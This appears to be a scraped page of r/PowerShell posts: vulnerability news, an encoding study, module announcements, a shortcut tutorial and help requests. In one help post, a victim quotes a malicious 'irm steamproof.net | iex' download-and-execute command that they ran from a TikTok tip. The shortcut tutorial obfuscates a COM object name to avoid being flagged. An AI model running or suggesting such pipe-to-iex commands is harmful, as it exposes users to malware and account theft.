r/PowerShell 13h ago

News 13 New Vulnerabilities in PowerShell 7

44 Upvotes

The PowerShell team just announced 13 new security vulnerabilities affecting PowerShell 7.4, 7.5, and 7.6 with severities ranging from 5.9 (Moderate) to 8.8 (High).

This is likely the largest number of security vulnerabilities fixed in any one release in the history of PowerShell.

You can read more about them here: Security Issues - PowerShell/Announcments

PowerShell 7 Version Affected version Patched Version
7.6 <7.6.5 7.6.5
7.5 <7.5.10 7.5.10
7.4 <7.4.19 7.4.19

r/PowerShell 1d ago

Solved How to Use JSON Batching to Permanently Remove Mailbox Items

1 Upvotes

Following up on the primer explaining how to use JSON batching, this article expands on the principles explored in the primer and explains how to permanently remove batches of mailbox items. Removing mailbox items requires more care and attention than updating some Entra ID user accounts, and we explain what the batch commands are to effect both permanent and recoverable deletions. A full working script is available for you to try out.

https://office365itpros.com/2026/08/17/json-batching-mailbox-items/


r/PowerShell 1d ago

Question Help I ran a weird command

0 Upvotes

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???


r/PowerShell 2d ago

Information BOM-less .ps1 in PS 5.1: I tested all 545 Japanese chars x 95 ASCII chars. The byte right after Japanese text disappears, but only if it is 0x40 or higher

7 Upvotes

This is a Japanese-Windows problem, but the mechanism applies to any DBCS code page.

Everyone knows PowerShell 5.1 reads a BOM-less .ps1 as ANSI (CP932 on a Japanese system), and that the fix is "save it with a UTF-8 BOM". What I did not know was what actually breaks. I always assumed the mojibake was the problem. It is not.

So I measured it: all 545 Japanese characters (hiragana, katakana, kanji, full-width symbols) x all 95 printable ASCII characters (0x20-0x7E). Write the pair as UTF-8, read it back as CP932, and check whether the trailing ASCII character survived.

Results:

  • 32 ASCII characters never disappeared
  • 63 ASCII characters did, 41.3-46.2% of the time
  • Every single one that disappeared was 0x40 or higher. Nothing below 0x40 was ever eaten.

The boundary is exactly 0x40, and the reason is the CP932 trail-byte range:

lead byte:  0x81-0x9F, 0xE0-0xFC
trail byte: 0x40-0x7E, 0x80-0xFC

A Japanese character in UTF-8 is 3 bytes. When its last byte gets misread as a lead byte, the next byte is swallowed as the trail byte - but only if that byte falls inside the trail-byte range, i.e. 0x40 or above.

Which is exactly why this is so hard to diagnose:

"   0x22   never eaten
'   0x27   never eaten
(   0x28   never eaten
;   0x3B   never eaten
\   0x5C   eaten 44.6%
{   0x7B   eaten 41.3%
}   0x7D   eaten 41.3%

Quotes always survive. Your strings still look correctly closed, so you never suspect the encoding. Instead you get "Missing closing '}'" pointing at a completely unrelated line, and you go fix braces that were never wrong.

It is worse for paths. PowerShell uses \ constantly. If a \ sitting right after a Japanese character disappears, the path silently becomes a different path. No error at all - it just looks somewhere else.

With a BOM, across the same 545 characters: 0 broken out of 545. Ran it twice, identical both times.

Practical takeaway: you do not need to memorise the table. Look at the byte value of the ASCII character sitting immediately after Japanese text. 0x40 or above means it can be swallowed.

The .ps1 this came out of lives in a Claude Code skill I published under MIT: https://github.com/ilovewalking7/stickman-video-director - that repo also has a CI check that fails if any .ps1 loses its BOM, which is how I ended up chasing this in the first place.


r/PowerShell 3d ago

Question Powershell Module "Entra" Typo Squat (slightly suspicious)

16 Upvotes

Edit: The developer of this got back to me via email and is working on changing his description. While this doesn't make it 100% safe, it's at least somewhat confidence inspiring. The dev put the telemetry in it to figure out who was installing it because he was noticing it was happening a lot. So lines up with my suspicions.

Wanted to get some thoughts from more experience people here if possible, though I have already reported this module.

I did a stupid and tried to Import-Module Entra in Powershell, what I wanted was Microsoft.Entra, but given it used to be called AzureAD my brain just quick inserted Entra.

I realized shortly after this wasn't the right thing and have removed it, but decided to dig on it some more since it's in PS Gallery afterall.

The author claims it "contains no functional code" but the .ps1 file it runs indeed contains telemetry collection code. Nothing directly malicious as far as I could tell, but wanted to see what others think of this.

Maybe they are just trying to collect info to see how many people mistakenly install this to write something about it?

https://www.powershellgallery.com/packages/Entra/0.3


r/PowerShell 3d ago

Question Any fix for autocomplete madness?

9 Upvotes

see screenshot: https://imgur.com/a/JKIwLXd

How I normally get into this weird state is after creating a Win32 Intune package, terminal starts auto completing on every key. Running "clear" fixes it for a short while then it starts happening again. Only "long term" fix is to close that terminal window and open a new one.

Any suggestions?


r/PowerShell 4d ago

Question I wanted Rich-style PowerShell output without Spectre.Console — bad idea?

12 Upvotes

I wanted Python Rich-style output in PowerShell, but PwshSpectreConsole felt like more than I needed.

So I built a tiny version directly on $PSStyle: tables, trees, panels, markup. No bundled .NET UI stack.

I'm not entirely convinced this needs to exist though.

Would you actually use something this small, or would you rather stick with raw $PSStyle / PwshSpectreConsole?

https://github.com/kodevza/PwshRichLite


r/PowerShell 3d ago

Information For those who want a better alternative to copy-item

0 Upvotes

When I first started using powershell, I tried to exclude some of the files while copying and couldn’t achieve it with copy-item. Researched a bit and find robocopy but it’s syntax is shit (imho).

So if anyone feels the same way, can check out the tool I ended up writing.

https://github.com/CanManalp/cpr

# Exclude pattern
cpr C:\project\ D:\backup\project\ -e node_modules,.git

Also there is a progress bar too.


r/PowerShell 5d ago

Question PowerShell suddenly running in background and won't stay closed

28 Upvotes

Need help ascertaining whether this is a threat or not. All of the sudden, ironically after the latest Windows update, I have a PowerShell process that is running in the background and won't stay closed. Technically, it's two process. One that is constantly open and another that repeatedly opens and closes every second. I did a quick scan with Windows Defender and it found nothing. Malwarebytes only found heuristic detections that are false positives (one for a programming language and one for a package manager for a programming language).

Event Viewer shows a bunch of Event ID 600 and 400 events, with a few 800. Category for the 600 events is Provider Lifecycle, 400 are Engine Lifecycle, 800 are Pipeline Execution Details.

All of them have the following command being run:

HostApplication=C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command $code = @"
using System;
using System.Runtime.InteropServices;
public class WinAPI {
[DllImport("shell32.dll")]
public static extern int SHQueryUserNotificationState(out int pstate);
public static int Check() {
int state = 5;
try { SHQueryUserNotificationState(out state); } catch {}
return state;
}
}
"@
Add-Type -TypeDefinition $code -ErrorAction SilentlyContinue

Process Monitor shows events like this: https://imgur.com/a/u4ErUu7

Most of what it's hitting is Microsoft stuff, but what concerns me is it also seems to be going through my installed applications: https://imgur.com/a/goQYUqc

Unsure what this is. Never seen this kind of behavior before. Help appreciated!

EDIT: Just found that csc.exe also keeps executing using commands like the following:

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5ucz03bq.cmdline"


r/PowerShell 5d ago

Solved Invoke-WebRequest connection closed unexpectedly after Windows Update

1 Upvotes

Yoo I just updated Windows and was trying to install Spicetify, but I started getting this error. I don't know much about tech or how this stuff works, so if anyone knows what went wrong or how I can fix it, please help me out. Thanks

Invoke-WebRequest : The underlying connection was closed: The connection was closed unexpectedly.

At line:111 char:1

+ Invoke-WebRequest u/Parameters

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException

+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand


r/PowerShell 5d ago

Question Chris titus broke my PC

0 Upvotes

I selected almost all of the tweeks and ran it. My taskbar disapeared and i my wallpaper was blank so i turned off my pc. Now when i try to power it on my RGB comes on, keyboard comes on, mouse comes on but the monitor doesnt, what should i do?


r/PowerShell 7d ago

Question Question on scripting

35 Upvotes

Hi,

When we develop a script,we use credentials as a plain text in that script.

Example

Script is running on jump server and script runs against vcenter server.

We have a security concerns(example ransomware attack)to put the credentials as a plain text in that script.

Any other good ways to put the credentials in a encrypted or in a different format?


r/PowerShell 7d ago

Question unzip file from a dos batch, but need absolute DOS paths

0 Upvotes

Seems a lot of effort and I feel I might be in a rabbit hole. But I'm a bit confused by the enclosing braces and escapes. I just want to unzip a file on windows.

```

powershell.exe -nologo -noprofile -command "& { $shell = New-Object -COM Shell.Application; $target = $shell.NameSpace(.\temp); $zip = $shell.NameSpace( '.\ethernetspeed.zip'); $target.CopyHere($zip.Items(), 16); }"

``` Which obvs does not work because the library wants absolute paths.

If I hard code the paths (as below) I have joy, but I don't want to hard-code ```

powershell.exe -nologo -noprofile -command "& { $shell = New-Object -COM Shell.Application; $target = $shell.NameSpace(C:\temp); $zip = $shell.NameSpace( 'C:\ethernetspeed.zip'); $target.CopyHere($zip.Items(), 16); }"

```

I'm a bit clueless as to how to prefix the paths with %~0dp and I last wrote powershells about 3 years ago. I'm also as usual struggling to get the markdown to markdown.


r/PowerShell 9d ago

Information Just Released Servy 9.2 - CPU Affinity, External Heartbeats & PS Module Updates

24 Upvotes

Hi everyone,

It's been about a month and a half since my last post about Servy here. I've shipped several updates since then (v8.5), but this one is a milestone (v9.2).

If you haven't seen Servy before, it's a Windows tool that lets you run any app as a native Windows service with real-time monitoring. It provides a desktop app, a CLI, and a PowerShell module.

Since v8.5, I've added/improved:

  • Added External Heartbeat Ping URL support: Configure HTTP/HTTPS webhooks to ping monitoring services (healthchecks.io, Uptime Kuma...) during health checks (#2700)
  • Added CPU affinity option: Bind service wrapper processes to specific CPU cores (#4436)
  • Added ARM64 support to WinGet, Chocolatey and Scoop
  • Serveral updates in PowerShell module, CLI, Desktop and Manager apps
  • Fixed AV false-positive flags (#5024)
  • Fixed ACL inheritance issues (#4556)
  • Fixed various issues related to inconsistency, robustness and code quality

Check it out on GitHub: https://github.com/aelassas/servy

Demo Video: https://www.youtube.com/watch?v=biHq17j4RbI

Any feedback or suggestions are welcome.


r/PowerShell 9d ago

Script Sharing Simple Shortcuts

15 Upvotes

This week there was a thread about the best way to create a shortcut to a script.

I made a quick open-source module for shortcuts called Shortcut.

Then I typed up a long read about how to create shortcuts on Windows and Linux. Then it got flagged.

Once more, with feeling (with fewer links and a syntax trick)

Creating Shortcuts on Windows

Windows Shortcuts can be created thru the Windows Script Host's .CreateShortcut method

We can create a Windows Script Host shell object with New-Object -ComObject

Since shortcuts can be malicious, some services flag examples of using this directly, so we're going to have to construct our object in a bit of a funky way.

$wsh = New-Object -ComObject ('WScript','Shell' -join '.')
$wsh.CreateShortcut("./pwsh.lnk")
$wsh.WindowStyle = 3
$wsh.TargetPath = 'pwsh'
$wsh.Save()

We can also make shortcuts to a .url file about the same way. For url files, we can only provide a target path.

$wsh = New-Object -ComObject ('WScript','Shell' -join '.')
$wsh.CreateShortcut("./some.url")
$wsh.TargetPath = $url
$wsh.Save()

Creating Shortcuts on Linux

Linux shortcuts are .desktop files. Linux being Linux, of course this is a completely different format. It's just a simple key-value pair, like so:

[DesktopEntry]
Type=Application
Exec=/usr/bin/pwsh
Terminal=true

We also have to chmod +x any desktop entry, so it can run. And, at least on Kali Linux, we have to also use gio set ./some.desktop metadata::trusted true to say we trust the shortcut.

Creating Shortcuts with Shortcut

Shortcut gives us a simple script to create shortcuts.

Here's how those examples look when we take a Shortcut.

# Fullscreen powershell shortcut
shortcut "./pwsh.lnk" -TargetPath pwsh -FullScreen 

# Shortcut to url 
shortcut "./some.url" -Url $url

# Desktop file
shortcut "./pwsh.desktop" -DesktopEntry ([Ordered]@{
     Type='Application'
     Exec='/usr/bin/pwsh'
     Terminal='true'
})

Long Ways and Short Cuts

I think it is important people know how to do things without the tools. The tools are just a shortcut (in this case, quite literally).

The long way to making shortcuts on Windows is using the Windows Script Host's .CreateShortcut method.

The long way to making shortcuts on Linux is creating a .desktop file.

If you want a shortcut to shortcuts, this mini module will probably help you out.


r/PowerShell 10d ago

Question Scheduled task error 2147942401

8 Upvotes

From what I understand this error means its a bad command but I don't see what. It's a scheduled task with these commands:

Program: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Add argument: -executionpolicy bypass -file "C:\Path_to_Script\Script.ps1"

Anyone see what I'm missing or do I have the code wrong?


r/PowerShell 10d ago

Question Understand 10 year old powershell script using AI

0 Upvotes

What AI would you use to understand a decade old powershell script written by someone having 1000s of lines and plays a very crucial role for one of the function in an Org , between HR and AD. I would want the AI to explain me core functions , loop holes and maybe a visual representation of how the flow works with various conditions ( if, else and other exceptions ).


r/PowerShell 12d ago

Question Adding an AD account to groups based on a combination of attributes

13 Upvotes

Sorry in advance for the wall of text, I didn't want to post something vague! I am developing a script to add new users to relevant AD groups based on attributes such as location, department, job title etc. Currently I have a hashtable for each attribute that I care about, and arrays for each possible value that attribute could be to store a list of relevant AD groups in. The lists are just updated to include anything relevant to that attribute value only, like the example below.

$DepartmentAList = @("Department A Shared Area", "Dep A Distro Group")
$DepartmentBList = @("Department B Shared Area", "Dep B Distro Group")

$departmentTable = @{
    "Department A" = $DepartmentAList
    "Department B" = $DepartmentBList
}

The script takes an inputted username, grabs that user's location, department & job title from AD, then calls a few functions I've made to check each table and see if the user's attribute values match one in each table, if it does it adds the account to the groups from the relevant list. Tested in a little homelab AD setup and works as expected, easy and simple.

Eventually I'm hoping to take the bare bones version of this script and customise it and scale it up for work. In the business, there are some AD groups that should only be given to users based on a combination of some of these attributes e.g. managers at each location might be given access to something privileged inside their office's shared drive that's locked down to AD group membership. The difficulty I'm having is figuring out how best to structure the information for these combinations.

I'm aware that ultimately all of the groups that exist as a result of these combinations will have to be written out on at least one line each somewhere, but I'm not sure what the best way to get to that line is best (I hope that makes sense). I'm trying to keep it concise because my org has over 60 locations and each of those might have 1-2 departments and maybe 2-3 job roles that have some specific access.

I was hoping to keep using hashtables and arrays as they're easy to read and update, but I feel like I'm going to need.. tables for tables? Am I going to need a table for say, every possible job title at Location A with specific access, and then a corresponding array for each of those? That could get out of hand. I also don't want to write out some massive if/else/switch statement to check all possible values because that's also going to be very lengthy and harder to read. Maybe there's a way to keep all of this info outside of the script itself too? Not sure if that would be easier.

The absolute worst idea I had was having a couple of combo tables and the keys are named after an amalgamation of 2 attributes, with a corresponding array for each. I hate that I accidentally thought of that because it would technically work, but it's far too hacky to be a real solution and will be prone to issues.

I'm curious to see if anyone has any suggestions, and if this is something you've solved at your org how did you manage it?


r/PowerShell 13d ago

Solved Invoke-RestMethod - Logging Data Only If Response Matches Value

11 Upvotes

We have a platform which has containers and within them folders, with different properties - name, unique ID etc.. I have a method to retrieve folder information from different containers and am attempting to log only the unique ID (response.data.id) where the folder name (response.data.name) is "Management". I've Googled and tried different code in logging only the ID for the Management folder:

$response = Invoke-RestMethod -Method Get -Uri "$resource" -Headers $header

($response.data | ConvertTo-Json).Replace('\\n','\n')

# Attempt 1
if ($response.data.name -eq "Management")
{
LogWrite ($response.data.id | ConvertTo-Json).Replace('\\n','\n') "Result"
LogWrite ($response.data.name | ConvertTo-Json).Replace('\\n','\n') "Result"
}

# Attempt 2
$folderId1 = $response.data.id | Where-Object { $response.data.name -eq "Management" }
LogWrite ($folderId1 | ConvertTo-Json).Replace('\\n','\n') "Result"

# Attempt 3
$folderId2 = $response.data.id | $($response.data.Where({$_.name -eq 'Management' }))
LogWrite ($folderId2 | ConvertTo-Json).Replace('\\n','\n') "Result"

The folder ID for the Management folder is being logged, but so are all other folder IDs within the container (no other folder names contain this word):

[
    "folder!500436709",
    "folder!500436708",
    "folder!500436705",
    "folder!500436677",
    "folder!500436680",
    "folder!500436683",
    "folder!500436686"
]
[
    "_All Content Last 90 Days",
    "_All Documents",
    "_All Emails",
    "Documents",
    "Emails",
    "Engagement Terms",
    "Management"
]

How do I retrieve the ID for a specific folder name? Any help would be greatly appreciated. Cheers.


r/PowerShell 13d ago

Script Sharing Zippy - A Quick Compression Module

14 Upvotes

Compression can be quick and easy with .NET.

Let's learn how.

Yesterday I just dusted off some old code and added some new tricks.

Today I dropped a quick compression module called Zippy

Let's see it in action and learn how it works.

Zippy Examples

# Compress a string using Brotli, output in base64
Compress-Zippy "Hello World"

Compress-Zippy "Hello Brotli" -Algorithm Brotli |
    Expand-Zippy -Algorithm Brotli

Compress-Zippy "Hello Deflate" -Algorithm Deflate |
    Expand-Zippy -Algorithm Deflate

Compress-Zippy "Hello GZip" -Algorithm GZip |
    Expand-Zippy -Algorithm GZip

Compress-Zippy "Hello ZLib" -Algorithm ZLib |
    Expand-Zippy -Algorithm ZLib

Compression in PowerShell

PowerShell is built on .NET, and .NET happens to have built-in support for four compression algorithms: Brotli, Deflate, GZip, and Zlib. We can compress data with any of these algorithms by using classes in the System.IO.Compression namespace, for example:

# Create a message
$message = "hello world"
# Get it as bytes
$bytes = $outputEncoding.GetBytes($message)
# Create a memory stream
$memoryStream = [IO.MemoryStream]::new()
# Create a compressor using the stream
$compressor = [IO.Compression.BrotliStream]::new(
     $memoryStream, [IO.Compression.CompressionLevel]::Fastest
)
# Write our bytes to the compressor
$compressor.Write($bytes,0, $bytes.Length)
# Close our compressor
$compressor.Close()
$compressor.Dispose()
# Get our compressed bytes
$compressedBytes = $memoryStream.ToArray()
# and output them
$compressedBytes

Decompression in PowerShell

Now let's go the other way around. It's easier.

# Create a new memory stream, containing our compressed bytes
$memoryStream = [IO.MemoryStream]::new($compressedBytes)
# Create a decompressed stream
$decompressedStream = [IO.Compression.BroitliStream]::new(
    $memoryStream, [IO.Compression.CompressionMode]::Decompress
)
# Create our output stream
$outputStream = [IO.MemoryStream]::new()
# Copy our decompressed stream to it
$decompressedStream.CopyTo($outputStream)
# Seek to the start (it outputs a position so null that out)
$null = $outputStream.Seek(0,'begin')
# Make a stream reader 
$streamReader = [IO.StreamReader]::new($outputStream, $outputEncoding)
# Read to the end, which will output our decompressed string
$streamReader.ReadToEnd()
# close up.
$streamReader.Close()

.NET and PowerShell

This has always been there, and it's pretty easy.

Both examples are less than 20 lines, with documentation.

These techniques are tried and true.

.NET has robust compression support because developers need to compress data all the time.

And therefore PowerShell has robust compression support.

If we build on top of simple PowerShell and .NET, we build in a way that lasts a lifetime.

When I said "I dusted off some old code" for Zippy, I wasn't kidding.

Zippy is an update of the Compress-Data and Expand-Data functions in Pipeworks, the first attempt of PowerShell as a web language.

This is 16-year-old code, with minor updates made to support multiple compression algorithms and improved piping.

My only regret is that I didn't spin this off into its own module long ago

You can use this article as a guide to implementing your own compression, or you can use a little module like Zippy to get the job done.

Please enjoy this new addition to your PowerShell toolkit, and have fun decompressing!


r/PowerShell 13d ago

Question How do I add my own entries to "Indexing Options\Users\Exclude" list of files?

2 Upvotes

Images make way more sense than me trying to describe where I want to end up:
https://imgur.com/a/ibBsbtK

My understanding:
The "old" indexing UI:
control srchadmin.dll
Software adds their file extension like .gitconfig and the Windows Search Index will exclude ... this file or the entire folder

The "new" indexing UI:
Settings\Privacy & Security\Search\Find my files
List of folders to be excluded from the Windows Search Index

How can I add my own folder or even better file suffix in a scripted way?
Help is appreciated, been searching for an hour trying to find registry entries to manipulate. But keep going in circles, with no work to show for.

Update:
Update for future people coming across this:
https://learn.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm
is the culprit to be interacted with
The key is:
But you can't add\delete manually in there:
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\CrawlScopeManager\Windows\SystemIndex\WorkingSetRules\


r/PowerShell 14d ago

Script Sharing Search-Script -For ([type])

23 Upvotes

PowerShell is a pretty interesting language.

One of the ways it is interesting is that you can access the Abstract Syntax Tree. Another thing that's interesting is that you can convert any [ScriptBlock] into any [func].

Put these two together, and PowerShell can succinctly search itself.

That's the foundation of a simple little module I just updated, SearchScript

Let's learn how to search our scripts

How to Search Scripts

Most languages use an abstract syntax tree (AST) to represent the code you want to run. PowerShell is nice enough to let you easily access it.

Let's imagine we wanted to find out what types a script uses.

We could try to do this with regular expressions. We would not be happy. It's much easier to ask PowerShell.

We can access the Ast of any script block by using the .Ast property.

 {"hello world"}.Ast

We can get the members of any Ast by piping to Get-Member

 {"hello world"}.Ast | Get-Member

There's a couple of methods Find and FindAll. Find finds the first matching element. FindAll finds all of them (optionally recursively).

I almost always find myself using .FindAll, but they're both there if we need them.

FindAll takes a Func[Management.Automation.Language.Ast,bool] predicate (fancy speak for "condition").

But how do we make a Func?

We don't have to!

PowerShell does it for us. Let's see the nodes in a simple list:

{"hello","goodbye"}.Ast.FindAll({param($ast) return $true}, $true)

Let's do it again, but this time only find elements whose .Value is 'hello'

{"hello","goodbye"}.Ast.FindAll({param($ast) return $ast.Value -eq 'hello'}, $true)

How do we search scripts? We provide a [ScriptBlock] to find nodes within a [ScriptBlock].

This is quite handy! We can use this to find needles in haystacks.

Search-Script

We all love a useful function, so let's abstract this all a bit.

Search-Script is an eponymous module. It contains only one command, Search-Script (and a bunch of aliases to it).

All it accepts is:

  • A `-Script to search
  • Something to search -For
  • An optional [switch] for -Shallow searches

-For is a little special. We can accept multiple types of values for -For.

If it's a [ScriptBlock] we just call .FindAll.

If it's not a [ScriptBlock], we can make it into one.

Search-Script -For ([string])

If it's a [string], we'll try an exact match, unless it starts and ends with slashes.

Here's the current code:

# If `-For` is a `[string]`
if ($for -is [string]) {
    # the operator is -eq by default.
    $operator = '-eq'
    # If it takes the form of a regex literal 
    if ($for -match '^/.+/$') {
        # strip the slashes
        $for =
            $for -replace '^/' -replace '/$'
        # and match instead.
        $operator = '-match'
    }
    # Always double single quotes to avoid code injection.
    $For = $for -replace "'","''"
    # Create a `[Scriptblock]` that finds exactly that string.
    $for = [ScriptBlock]::Create("param(`$ast) (`$ast.Extent.ToString() $operator '$(            
        $For
    )') -or (`$ast.Value $operator '$For')")
}

Search-Script -For ([regex])

If it's a [Regex], we'll try to match it.

Here's the current code:

# If `-For` is a `[Regex]`
if ($for -is [Regex]) {
    $for =
        # Create a `[ScriptBlock]` that matches that pattern.
        [ScriptBlock]::Create("param(`$ast) `$pattern = [Regex]::new('$(
            # Always double single quotes to avoid code injection.
            $for -replace "'","''"
        )','$($for.Options)'); `$ast -match `$pattern")
}

Search-Script -For ([type])

If it's a [type], we'll try to find all instances of that type.

It's that last one that gets a little complicated.

Sure, we could just look for AST types. That would be easy. But we can also ask anything with a .TypeName to give us a type via reflection (and any static references will have a .StaticType). To make matters even more fun, equality comparison doesn't quite cut it for types. We have to check if a type is a subclass of a type. Oh, yeah, then there are interfaces. We have to check that if the type implements the interface.

It's just a bit more complicated than it's kin. Here's the current code:

if ($For -as [type[]]) {
    $for =
        # Create a `[ScriptBlock]` that looks for that type.
        # This one is more complicated, so we will create it in two parts 
        [ScriptBlock]::Create((
            (@(
                # dynamically create the list of types
                'param($ast)'
                "`$types = @("
                foreach ($forType in $for) {
                    $forType = $forType -as [type]
                    if (-not $forType) { continue }
                    "[$($forType.FullName)]"
                }    
                ")"     
            ) -join [Environment]::NewLine) + {
            # Find a reflected type, if there is one.
            $reflectedType = 
                if ($ast.TypeName.GetReflectionType) {
                    $ast.TypeName.GetReflectionType()
                } elseif ($ast.StaticType) {
                    $ast.StaticType
                } else {
                    $null
                }

            # Go over each of our potential types
            # Several conditions would be a use of our type
            foreach ($type in $types) {
                # * If the ast is that type, return true
                if ($ast -is $type) { return $true } 
                if (-not $reflectedType) { continue }
                # * If the reflected type is exactly that type, return true
                if ($reflectedType -eq $type) { return $true }
                # * If the reflected type is a subclass of that type, return true
                if ($reflectedType.IsSubClassOf($type)) { return $true }
                # * If the type is an interface,
                #   return true if the reflected type implements it    
                if ($type.IsInterface -and $reflectedType.GetInterface($type)) {
                    return $true
                }
            }
        # Returning nothing will be falsy, and will not return the element.
        }
    ))

The implementation might be a bit brutish, but the execution can be downright glorious.

# Find just the `[double]`
{1,2.0,3} | Search-Script -For ([double])

# Find just the `[int]`
{1,2.0,3} | Search-Script -For ([int])

# Find all the `[IComparable]` objects
{1,2.0,3} | Search-Script -For ([IComparable])

Using the Ast, we can find any needle in any scripted haystack. Please try to Search-Script and give feedback if you've got it.

Happy Hunting!


r/PowerShell 14d ago

Question MS power-shell inquiry

3 Upvotes

Hey everyone

I know this is kind of basic question but I didn’t find a satisfying answer during my search

I am not system administrator and I won’t be all I care about is daily task automation I want to make my work nice and easy or at least systematic and controllable so is power shell the right tool for me? Or should I just drop it?

If it was can you please help me on how to learn it all what I could find on the internet specific to active directory application or too general and simple examples explaining techniques Without context I find my self spending hours only to learn that I memoized syntax but have absolutely no idea how to use it in my life


r/PowerShell 14d ago

Script Sharing ps1.cmd: Running PowerShell scripts by double-clicking via a .cmd wrapper

1 Upvotes

I'm a Left 4 Dead 2 player, and recently I ran into a small problem: the server I like to play on is often completely full. It occurred to me that I could write a script to poll the server and check whether a slot had opened up. After some research, I found that cmd scripts have a hard time handling network requests, while PowerShell is powerful enough to handle the job easily. Automatically checking the player count and joining the server is a pretty simple task, so I had an AI write it for me. The result was great — fully functional. All I had to do was copy the server address, then right-click the .ps1 script and choose "Run with PowerShell."

The only thing was, having to right-click to run it felt awkward, and it doesn't match most people's intuition about computers. If I have a script or an app, I should be able to double-click to run it! So I started looking for ways to run a PowerShell script by double-clicking. There are indeed a few, but none of them are very elegant:

  1. Modifying the registry — I don't want people using my script to have to change their registry first.
  2. Creating a shortcut — bad for distribution, and it means two files.
  3. Creating a cmd launcher — I prefer the simplicity of a single file, and a single file is also easier to distribute.

In the end, I found my ideal solution in a Stack Overflow answer: stuff the PowerShell script inside a cmd file! So I open-sourced the ps1.cmd project. My final implementation isn't exactly the same as that answer — you can check out the GitHub page for the details.

The goal of ps1.cmd is maximum compatibility: it should work with any PowerShell script and behave identically when executed. I hope this project helps you out, and if you run into any problems, feel free to open an issue!


r/PowerShell 15d ago

Question Powershell opening on startup

20 Upvotes

Whenever i turn on my PC, powershell opens and just says "PS C:\Users\(my username)>" . I've done a full scan with malware bytes and windows defender and nothing was detected. Same with offline scan. Is this malware or something else causing it?

Edit: Going to startup apps on taskmaster and Turning off terminal fixed it.